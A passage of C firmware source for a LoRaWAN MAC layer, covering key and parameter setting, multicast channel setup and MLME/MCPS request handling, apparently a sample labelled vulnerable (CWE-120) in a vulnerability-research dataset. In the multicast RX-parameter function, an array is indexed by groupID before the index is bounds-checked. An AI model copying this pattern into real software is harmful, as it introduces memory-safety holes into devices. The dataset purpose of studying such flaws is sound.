SecureElementSetJoinEui( mibSet->Param.JoinEui ) != SECURE_ELEMENT_SUCCESS ) { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_SE_PIN: { if( SecureElementSetPin( mibSet->Param.SePin ) != SECURE_ELEMENT_SUCCESS ) { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_ADR: { MacCtx.NvmCtx->AdrCtrlOn = mibSet->Param.AdrEnable; break; } case MIB_NET_ID: { MacCtx.NvmCtx->NetID = mibSet->Param.NetID; break; } case MIB_DEV_ADDR: { MacCtx.NvmCtx->DevAddr = mibSet->Param.DevAddr; break; } case MIB_APP_KEY: { if( mibSet->Param.AppKey != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( APP_KEY, mibSet->Param.AppKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_NWK_KEY: { if( mibSet->Param.NwkKey != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( NWK_KEY, mibSet->Param.NwkKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_J_S_INT_KEY: { if( mibSet->Param.JSIntKey != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( J_S_INT_KEY, mibSet->Param.JSIntKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_J_S_ENC_KEY: { if( mibSet->Param.JSEncKey != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( J_S_ENC_KEY, mibSet->Param.JSEncKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_F_NWK_S_INT_KEY: { if( mibSet->Param.FNwkSIntKey != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( F_NWK_S_INT_KEY, mibSet->Param.FNwkSIntKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_S_NWK_S_INT_KEY: { if( mibSet->Param.SNwkSIntKey != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( S_NWK_S_INT_KEY, mibSet->Param.SNwkSIntKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_NWK_S_ENC_KEY: { if( mibSet->Param.NwkSEncKey != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( NWK_S_ENC_KEY, mibSet->Param.NwkSEncKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_APP_S_KEY: { if( mibSet->Param.AppSKey != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( APP_S_KEY, mibSet->Param.AppSKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_KE_KEY: { if( mibSet->Param.McKEKey != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_KE_KEY, mibSet->Param.McKEKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_KEY_0: { if( mibSet->Param.McKey0 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_KEY_0, mibSet->Param.McKey0 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_APP_S_KEY_0: { if( mibSet->Param.McAppSKey0 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_APP_S_KEY_0, mibSet->Param.McAppSKey0 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_NWK_S_KEY_0: { if( mibSet->Param.McNwkSKey0 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_NWK_S_KEY_0, mibSet->Param.McNwkSKey0 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_KEY_1: { if( mibSet->Param.McKey1 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_KEY_1, mibSet->Param.McKey1 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_APP_S_KEY_1: { if( mibSet->Param.McAppSKey1 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_APP_S_KEY_1, mibSet->Param.McAppSKey1 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_NWK_S_KEY_1: { if( mibSet->Param.McNwkSKey1 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_NWK_S_KEY_1, mibSet->Param.McNwkSKey1 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_KEY_2: { if( mibSet->Param.McKey2 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_KEY_2, mibSet->Param.McKey2 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_APP_S_KEY_2: { if( mibSet->Param.McAppSKey2 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_APP_S_KEY_2, mibSet->Param.McAppSKey2 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_NWK_S_KEY_2: { if( mibSet->Param.McNwkSKey2 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_NWK_S_KEY_2, mibSet->Param.McNwkSKey2 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_KEY_3: { if( mibSet->Param.McKey3 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_KEY_3, mibSet->Param.McKey3 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_APP_S_KEY_3: { if( mibSet->Param.McAppSKey3 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_APP_S_KEY_3, mibSet->Param.McAppSKey3 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MC_NWK_S_KEY_3: { if( mibSet->Param.McNwkSKey3 != NULL ) { if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( MC_NWK_S_KEY_3, mibSet->Param.McNwkSKey3 ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_PUBLIC_NETWORK: { MacCtx.NvmCtx->PublicNetwork = mibSet->Param.EnablePublicNetwork; Radio.SetPublicNetwork( MacCtx.NvmCtx->PublicNetwork ); break; } case MIB_RX2_CHANNEL: { verify.DatarateParams.Datarate = mibSet->Param.Rx2Channel.Datarate; verify.DatarateParams.DownlinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_RX_DR ) == true ) { MacCtx.NvmCtx->MacParams.Rx2Channel = mibSet->Param.Rx2Channel; } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_RX2_DEFAULT_CHANNEL: { verify.DatarateParams.Datarate = mibSet->Param.Rx2Channel.Datarate; verify.DatarateParams.DownlinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_RX_DR ) == true ) { MacCtx.NvmCtx->MacParamsDefaults.Rx2Channel = mibSet->Param.Rx2DefaultChannel; } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_RXC_CHANNEL: { verify.DatarateParams.Datarate = mibSet->Param.RxCChannel.Datarate; verify.DatarateParams.DownlinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_RX_DR ) == true ) { MacCtx.NvmCtx->MacParams.RxCChannel = mibSet->Param.RxCChannel; if( ( MacCtx.NvmCtx->DeviceClass == CLASS_C ) && ( MacCtx.NvmCtx->NetworkActivation != ACTIVATION_TYPE_NONE ) ) { // We can only compute the RX window parameters directly, if we are already // in class c mode and joined. We cannot setup an RX window in case of any other // class type. // Set the radio into sleep mode in case we are still in RX mode Radio.Sleep( ); OpenContinuousRxCWindow( ); } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_RXC_DEFAULT_CHANNEL: { verify.DatarateParams.Datarate = mibSet->Param.RxCChannel.Datarate; verify.DatarateParams.DownlinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_RX_DR ) == true ) { MacCtx.NvmCtx->MacParamsDefaults.RxCChannel = mibSet->Param.RxCDefaultChannel; } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_CHANNELS_DEFAULT_MASK: { chanMaskSet.ChannelsMaskIn = mibSet->Param.ChannelsDefaultMask; chanMaskSet.ChannelsMaskType = CHANNELS_DEFAULT_MASK; if( RegionChanMaskSet( MacCtx.NvmCtx->Region, &chanMaskSet ) == false ) { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_CHANNELS_MASK: { chanMaskSet.ChannelsMaskIn = mibSet->Param.ChannelsMask; chanMaskSet.ChannelsMaskType = CHANNELS_MASK; if( RegionChanMaskSet( MacCtx.NvmCtx->Region, &chanMaskSet ) == false ) { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_CHANNELS_NB_TRANS: { if( ( mibSet->Param.ChannelsNbTrans >= 1 ) && ( mibSet->Param.ChannelsNbTrans <= 15 ) ) { MacCtx.NvmCtx->MacParams.ChannelsNbTrans = mibSet->Param.ChannelsNbTrans; } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_MAX_RX_WINDOW_DURATION: { MacCtx.NvmCtx->MacParams.MaxRxWindow = mibSet->Param.MaxRxWindow; break; } case MIB_RECEIVE_DELAY_1: { MacCtx.NvmCtx->MacParams.ReceiveDelay1 = mibSet->Param.ReceiveDelay1; break; } case MIB_RECEIVE_DELAY_2: { MacCtx.NvmCtx->MacParams.ReceiveDelay2 = mibSet->Param.ReceiveDelay2; break; } case MIB_JOIN_ACCEPT_DELAY_1: { MacCtx.NvmCtx->MacParams.JoinAcceptDelay1 = mibSet->Param.JoinAcceptDelay1; break; } case MIB_JOIN_ACCEPT_DELAY_2: { MacCtx.NvmCtx->MacParams.JoinAcceptDelay2 = mibSet->Param.JoinAcceptDelay2; break; } case MIB_CHANNELS_DEFAULT_DATARATE: { verify.DatarateParams.Datarate = mibSet->Param.ChannelsDefaultDatarate; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_DEF_TX_DR ) == true ) { MacCtx.NvmCtx->MacParamsDefaults.ChannelsDatarate = verify.DatarateParams.Datarate; } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_CHANNELS_DATARATE: { verify.DatarateParams.Datarate = mibSet->Param.ChannelsDatarate; verify.DatarateParams.UplinkDwellTime = MacCtx.NvmCtx->MacParams.UplinkDwellTime; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_TX_DR ) == true ) { MacCtx.NvmCtx->MacParams.ChannelsDatarate = verify.DatarateParams.Datarate; } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_CHANNELS_DEFAULT_TX_POWER: { verify.TxPower = mibSet->Param.ChannelsDefaultTxPower; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_DEF_TX_POWER ) == true ) { MacCtx.NvmCtx->MacParamsDefaults.ChannelsTxPower = verify.TxPower; } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_CHANNELS_TX_POWER: { verify.TxPower = mibSet->Param.ChannelsTxPower; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_TX_POWER ) == true ) { MacCtx.NvmCtx->MacParams.ChannelsTxPower = verify.TxPower; } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_SYSTEM_MAX_RX_ERROR: { MacCtx.NvmCtx->MacParams.SystemMaxRxError = MacCtx.NvmCtx->MacParamsDefaults.SystemMaxRxError = mibSet->Param.SystemMaxRxError; break; } case MIB_MIN_RX_SYMBOLS: { MacCtx.NvmCtx->MacParams.MinRxSymbols = MacCtx.NvmCtx->MacParamsDefaults.MinRxSymbols = mibSet->Param.MinRxSymbols; break; } case MIB_ANTENNA_GAIN: { MacCtx.NvmCtx->MacParams.AntennaGain = mibSet->Param.AntennaGain; break; } case MIB_DEFAULT_ANTENNA_GAIN: { MacCtx.NvmCtx->MacParamsDefaults.AntennaGain = mibSet->Param.DefaultAntennaGain; break; } case MIB_NVM_CTXS: { if( mibSet->Param.Contexts != 0 ) { status = RestoreCtxs( mibSet->Param.Contexts ); } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } case MIB_ABP_LORAWAN_VERSION: { if( mibSet->Param.AbpLrWanVersion.Fields.Minor <= 1 ) { MacCtx.NvmCtx->Version = mibSet->Param.AbpLrWanVersion; if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetLrWanVersion( mibSet->Param.AbpLrWanVersion ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { status = LORAMAC_STATUS_PARAMETER_INVALID; } break; } default: { status = LoRaMacMibClassBSetRequestConfirm( mibSet ); break; } } EventRegionNvmCtxChanged( ); EventMacNvmCtxChanged( ); return status; } LoRaMacStatus_t LoRaMacChannelAdd( uint8_t id, ChannelParams_t params ) { ChannelAddParams_t channelAdd; // Validate if the MAC is in a correct state if( ( MacCtx.MacState & LORAMAC_TX_RUNNING ) == LORAMAC_TX_RUNNING ) { if( ( MacCtx.MacState & LORAMAC_TX_CONFIG ) != LORAMAC_TX_CONFIG ) { return LORAMAC_STATUS_BUSY; } } channelAdd.NewChannel = &params; channelAdd.ChannelId = id; EventRegionNvmCtxChanged( ); return RegionChannelAdd( MacCtx.NvmCtx->Region, &channelAdd ); } LoRaMacStatus_t LoRaMacChannelRemove( uint8_t id ) { ChannelRemoveParams_t channelRemove; if( ( MacCtx.MacState & LORAMAC_TX_RUNNING ) == LORAMAC_TX_RUNNING ) { if( ( MacCtx.MacState & LORAMAC_TX_CONFIG ) != LORAMAC_TX_CONFIG ) { return LORAMAC_STATUS_BUSY; } } channelRemove.ChannelId = id; if( RegionChannelsRemove( MacCtx.NvmCtx->Region, &channelRemove ) == false ) { return LORAMAC_STATUS_PARAMETER_INVALID; } EventRegionNvmCtxChanged( ); return LORAMAC_STATUS_OK; } LoRaMacStatus_t LoRaMacMcChannelSetup( McChannelParams_t *channel ) { if( ( MacCtx.MacState & LORAMAC_TX_RUNNING ) == LORAMAC_TX_RUNNING ) { return LORAMAC_STATUS_BUSY; } if( channel->GroupID >= LORAMAC_MAX_MC_CTX ) { return LORAMAC_STATUS_MC_GROUP_UNDEFINED; } MacCtx.NvmCtx->MulticastChannelList[channel->GroupID].ChannelParams = *channel; if( channel->IsRemotelySetup == true ) { const KeyIdentifier_t mcKeys[LORAMAC_MAX_MC_CTX] = { MC_KEY_0, MC_KEY_1, MC_KEY_2, MC_KEY_3 }; if( LoRaMacCryptoSetKey( mcKeys[channel->GroupID], channel->McKeys.McKeyE ) != LORAMAC_CRYPTO_SUCCESS ) { return LORAMAC_STATUS_CRYPTO_ERROR; } if( LoRaMacCryptoDeriveMcSessionKeyPair( channel->GroupID, channel->Address ) != LORAMAC_CRYPTO_SUCCESS ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } else { const KeyIdentifier_t mcAppSKeys[LORAMAC_MAX_MC_CTX] = { MC_APP_S_KEY_0, MC_APP_S_KEY_1, MC_APP_S_KEY_2, MC_APP_S_KEY_3 }; const KeyIdentifier_t mcNwkSKeys[LORAMAC_MAX_MC_CTX] = { MC_NWK_S_KEY_0, MC_NWK_S_KEY_1, MC_NWK_S_KEY_2, MC_NWK_S_KEY_3 }; if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( mcAppSKeys[channel->GroupID], channel->McKeys.Session.McAppSKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } if( LORAMAC_CRYPTO_SUCCESS != LoRaMacCryptoSetKey( mcNwkSKeys[channel->GroupID], channel->McKeys.Session.McNwkSKey ) ) { return LORAMAC_STATUS_CRYPTO_ERROR; } } if( channel->Class == CLASS_B ) { // Calculate class b parameters LoRaMacClassBSetMulticastPeriodicity( &MacCtx.NvmCtx->MulticastChannelList[channel->GroupID] ); } // Reset multicast channel downlink counter to initial value. *MacCtx.NvmCtx->MulticastChannelList[channel->GroupID].DownLinkCounter = FCNT_DOWN_INITAL_VALUE; EventMacNvmCtxChanged( ); EventRegionNvmCtxChanged( ); return LORAMAC_STATUS_OK; } LoRaMacStatus_t LoRaMacMcChannelDelete( AddressIdentifier_t groupID ) { if( ( MacCtx.MacState & LORAMAC_TX_RUNNING ) == LORAMAC_TX_RUNNING ) { return LORAMAC_STATUS_BUSY; } if( ( groupID >= LORAMAC_MAX_MC_CTX ) || ( MacCtx.NvmCtx->MulticastChannelList[groupID].ChannelParams.IsEnabled == false ) ) { return LORAMAC_STATUS_MC_GROUP_UNDEFINED; } McChannelParams_t channel; // Set all channel fields with 0 memset1( ( uint8_t* )&channel, 0, sizeof( McChannelParams_t ) ); MacCtx.NvmCtx->MulticastChannelList[groupID].ChannelParams = channel; EventMacNvmCtxChanged( ); EventRegionNvmCtxChanged( ); return LORAMAC_STATUS_OK; } uint8_t LoRaMacMcChannelGetGroupId( uint32_t mcAddress ) { for( uint8_t i = 0; i < LORAMAC_MAX_MC_CTX; i++ ) { if( mcAddress == MacCtx.NvmCtx->MulticastChannelList[i].ChannelParams.Address ) { return i; } } return 0xFF; } LoRaMacStatus_t LoRaMacMcChannelSetupRxParams( AddressIdentifier_t groupID, McRxParams_t *rxParams, uint8_t *status ) { *status = 0x1C + ( groupID & 0x03 ); if( ( MacCtx.MacState & LORAMAC_TX_RUNNING ) == LORAMAC_TX_RUNNING ) { return LORAMAC_STATUS_BUSY; } DeviceClass_t devClass = MacCtx.NvmCtx->MulticastChannelList[groupID].ChannelParams.Class; if( ( devClass == CLASS_A ) || ( devClass > CLASS_C ) ) { return LORAMAC_STATUS_PARAMETER_INVALID; } if( ( groupID >= LORAMAC_MAX_MC_CTX ) || ( MacCtx.NvmCtx->MulticastChannelList[groupID].ChannelParams.IsEnabled == false ) ) { return LORAMAC_STATUS_MC_GROUP_UNDEFINED; } *status &= 0x0F; // groupID OK VerifyParams_t verify; // Check datarate if( devClass == CLASS_B ) { verify.DatarateParams.Datarate = rxParams->ClassB.Datarate; } else { verify.DatarateParams.Datarate = rxParams->ClassC.Datarate; } verify.DatarateParams.DownlinkDwellTime = MacCtx.NvmCtx->MacParams.DownlinkDwellTime; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_RX_DR ) == true ) { *status &= 0xFB; // datarate OK } // Check frequency if( devClass == CLASS_B ) { verify.Frequency = rxParams->ClassB.Frequency; } else { verify.Frequency = rxParams->ClassC.Frequency; } if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_FREQUENCY ) == true ) { *status &= 0xF7; // frequency OK } if( *status == ( groupID & 0x03 ) ) { // Apply parameters MacCtx.NvmCtx->MulticastChannelList[groupID].ChannelParams.RxParams = *rxParams; } EventMacNvmCtxChanged( ); EventRegionNvmCtxChanged( ); return LORAMAC_STATUS_OK; } LoRaMacStatus_t LoRaMacMlmeRequest( MlmeReq_t* mlmeRequest ) { LoRaMacStatus_t status = LORAMAC_STATUS_SERVICE_UNKNOWN; MlmeConfirmQueue_t queueElement; uint8_t macCmdPayload[2] = { 0x00, 0x00 }; if( mlmeRequest == NULL ) { return LORAMAC_STATUS_PARAMETER_INVALID; } if( LoRaMacIsBusy( ) == true ) { return LORAMAC_STATUS_BUSY; } if( LoRaMacConfirmQueueIsFull( ) == true ) { return LORAMAC_STATUS_BUSY; } if( LoRaMacConfirmQueueGetCnt( ) == 0 ) { memset1( ( uint8_t* ) &MacCtx.MlmeConfirm, 0, sizeof( MacCtx.MlmeConfirm ) ); } MacCtx.MlmeConfirm.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; MacCtx.MacFlags.Bits.MlmeReq = 1; queueElement.Request = mlmeRequest->Type; queueElement.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; queueElement.RestrictCommonReadyToHandle = false; switch( mlmeRequest->Type ) { case MLME_JOIN: { if( ( MacCtx.MacState & LORAMAC_TX_DELAYED ) == LORAMAC_TX_DELAYED ) { return LORAMAC_STATUS_BUSY; } ResetMacParameters( ); MacCtx.NvmCtx->MacParams.ChannelsDatarate = RegionAlternateDr( MacCtx.NvmCtx->Region, mlmeRequest->Req.Join.Datarate, ALTERNATE_DR ); queueElement.Status = LORAMAC_EVENT_INFO_STATUS_JOIN_FAIL; status = SendReJoinReq( JOIN_REQ ); if( status != LORAMAC_STATUS_OK ) { // Revert back the previous datarate ( mainly used for US915 like regions ) MacCtx.NvmCtx->MacParams.ChannelsDatarate = RegionAlternateDr( MacCtx.NvmCtx->Region, mlmeRequest->Req.Join.Datarate, ALTERNATE_DR_RESTORE ); } break; } case MLME_LINK_CHECK: { // LoRaMac will send this command piggy-pack status = LORAMAC_STATUS_OK; if( LoRaMacCommandsAddCmd( MOTE_MAC_LINK_CHECK_REQ, macCmdPayload, 0 ) != LORAMAC_COMMANDS_SUCCESS ) { status = LORAMAC_STATUS_MAC_COMMAD_ERROR; } break; } case MLME_TXCW: { status = SetTxContinuousWave( mlmeRequest->Req.TxCw.Timeout ); break; } case MLME_TXCW_1: { status = SetTxContinuousWave1( mlmeRequest->Req.TxCw.Timeout, mlmeRequest->Req.TxCw.Frequency, mlmeRequest->Req.TxCw.Power ); break; } case MLME_DEVICE_TIME: { // LoRaMac will send this command piggy-pack status = LORAMAC_STATUS_OK; if( LoRaMacCommandsAddCmd( MOTE_MAC_DEVICE_TIME_REQ, macCmdPayload, 0 ) != LORAMAC_COMMANDS_SUCCESS ) { status = LORAMAC_STATUS_MAC_COMMAD_ERROR; } break; } case MLME_PING_SLOT_INFO: { if( MacCtx.NvmCtx->DeviceClass == CLASS_A ) { uint8_t value = mlmeRequest->Req.PingSlotInfo.PingSlot.Value; // LoRaMac will send this command piggy-pack LoRaMacClassBSetPingSlotInfo( mlmeRequest->Req.PingSlotInfo.PingSlot.Fields.Periodicity ); macCmdPayload[0] = value; status = LORAMAC_STATUS_OK; if( LoRaMacCommandsAddCmd( MOTE_MAC_PING_SLOT_INFO_REQ, macCmdPayload, 1 ) != LORAMAC_COMMANDS_SUCCESS ) { status = LORAMAC_STATUS_MAC_COMMAD_ERROR; } } break; } case MLME_BEACON_TIMING: { // LoRaMac will send this command piggy-pack status = LORAMAC_STATUS_OK; if( LoRaMacCommandsAddCmd( MOTE_MAC_BEACON_TIMING_REQ, macCmdPayload, 0 ) != LORAMAC_COMMANDS_SUCCESS ) { status = LORAMAC_STATUS_MAC_COMMAD_ERROR; } break; } case MLME_BEACON_ACQUISITION: { // Apply the request queueElement.RestrictCommonReadyToHandle = true; if( LoRaMacClassBIsAcquisitionInProgress( ) == false ) { // Start class B algorithm LoRaMacClassBSetBeaconState( BEACON_STATE_ACQUISITION ); LoRaMacClassBBeaconTimerEvent( NULL ); status = LORAMAC_STATUS_OK; } else { status = LORAMAC_STATUS_BUSY; } break; } default: break; } if( status != LORAMAC_STATUS_OK ) { if( LoRaMacConfirmQueueGetCnt( ) == 0 ) { MacCtx.NodeAckRequested = false; MacCtx.MacFlags.Bits.MlmeReq = 0; } } else { LoRaMacConfirmQueueAdd( &queueElement ); EventMacNvmCtxChanged( ); } return status; } LoRaMacStatus_t LoRaMacMcpsRequest( McpsReq_t* mcpsRequest ) { GetPhyParams_t getPhy; PhyParam_t phyParam; LoRaMacStatus_t status = LORAMAC_STATUS_SERVICE_UNKNOWN; LoRaMacHeader_t macHdr; VerifyParams_t verify; uint8_t fPort = 0; void* fBuffer; uint16_t fBufferSize; int8_t datarate = DR_0; bool readyToSend = false; if( mcpsRequest == NULL ) { return LORAMAC_STATUS_PARAMETER_INVALID; } if( LoRaMacIsBusy( ) == true ) { return LORAMAC_STATUS_BUSY; } macHdr.Value = 0; memset1( ( uint8_t* ) &MacCtx.McpsConfirm, 0, sizeof( MacCtx.McpsConfirm ) ); MacCtx.McpsConfirm.Status = LORAMAC_EVENT_INFO_STATUS_ERROR; // AckTimeoutRetriesCounter must be reset every time a new request (unconfirmed or confirmed) is performed. MacCtx.AckTimeoutRetriesCounter = 1; switch( mcpsRequest->Type ) { case MCPS_UNCONFIRMED: { readyToSend = true; MacCtx.AckTimeoutRetries = 1; macHdr.Bits.MType = FRAME_TYPE_DATA_UNCONFIRMED_UP; fPort = mcpsRequest->Req.Unconfirmed.fPort; fBuffer = mcpsRequest->Req.Unconfirmed.fBuffer; fBufferSize = mcpsRequest->Req.Unconfirmed.fBufferSize; datarate = mcpsRequest->Req.Unconfirmed.Datarate; break; } case MCPS_CONFIRMED: { readyToSend = true; MacCtx.AckTimeoutRetries = MIN( mcpsRequest->Req.Confirmed.NbTrials, MAX_ACK_RETRIES ); macHdr.Bits.MType = FRAME_TYPE_DATA_CONFIRMED_UP; fPort = mcpsRequest->Req.Confirmed.fPort; fBuffer = mcpsRequest->Req.Confirmed.fBuffer; fBufferSize = mcpsRequest->Req.Confirmed.fBufferSize; datarate = mcpsRequest->Req.Confirmed.Datarate; break; } case MCPS_PROPRIETARY: { readyToSend = true; MacCtx.AckTimeoutRetries = 1; macHdr.Bits.MType = FRAME_TYPE_PROPRIETARY; fBuffer = mcpsRequest->Req.Proprietary.fBuffer; fBufferSize = mcpsRequest->Req.Proprietary.fBufferSize; datarate = mcpsRequest->Req.Proprietary.Datarate; break; } default: break; } // Get the minimum possible datarate getPhy.Attribute = PHY_MIN_TX_DR; getPhy.UplinkDwellTime = MacCtx.NvmCtx->MacParams.UplinkDwellTime; phyParam = RegionGetPhyParam( MacCtx.NvmCtx->Region, &getPhy ); // Apply the minimum possible datarate. // Some regions have limitations for the minimum datarate. datarate = MAX( datarate, ( int8_t )phyParam.Value ); if( readyToSend == true ) { if( MacCtx.NvmCtx->AdrCtrlOn == false ) { verify.DatarateParams.Datarate = datarate; verify.DatarateParams.UplinkDwellTime = MacCtx.NvmCtx->MacParams.UplinkDwellTime; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_TX_DR ) == true ) { MacCtx.NvmCtx->MacParams.ChannelsDatarate = verify.DatarateParams.Datarate; } else { return LORAMAC_STATUS_PARAMETER_INVALID; } } status = Send( &macHdr, fPort, fBuffer, fBufferSize ); if( status == LORAMAC_STATUS_OK ) { MacCtx.McpsConfirm.McpsRequest = mcpsRequest->Type; MacCtx.MacFlags.Bits.McpsReq = 1; } else { MacCtx.NodeAckRequested = false; } } EventMacNvmCtxChanged( ); return status; } void LoRaMacTestSetDutyCycleOn( bool enable ) { VerifyParams_t verify; verify.DutyCycle = enable; if( RegionVerify( MacCtx.NvmCtx->Region, &verify, PHY_DUTY_CYCLE ) == true ) { MacCtx.NvmCtx->DutyCycleOn = enable; } } LoRaMacStatus_t LoRaMacDeInitialization( void ) { // Check the current state of the LoRaMac if ( LoRaMacStop( ) == LORAMAC_STATUS_OK ) { // Stop Timers TimerStop( &MacCtx.TxDelayedTimer ); TimerStop( &MacCtx.RxWindowTimer1 ); TimerStop( &MacCtx.RxWindowTimer2 ); TimerStop( &MacCtx.AckTimeoutTimer ); // Take care about class B LoRaMacClassBHaltBeaconing( ); // Reset Mac parameters ResetMacParameters( ); // Switch off Radio Radio.Sleep( ); // Return success return LORAMAC_STATUS_OK; } else { return LORAMAC_STATUS_BUSY; } }
./CrossVul/dataset_final_sorted/CWE-120/c/bad_3927_0
crossvul-cpp_data_bad_1321_0
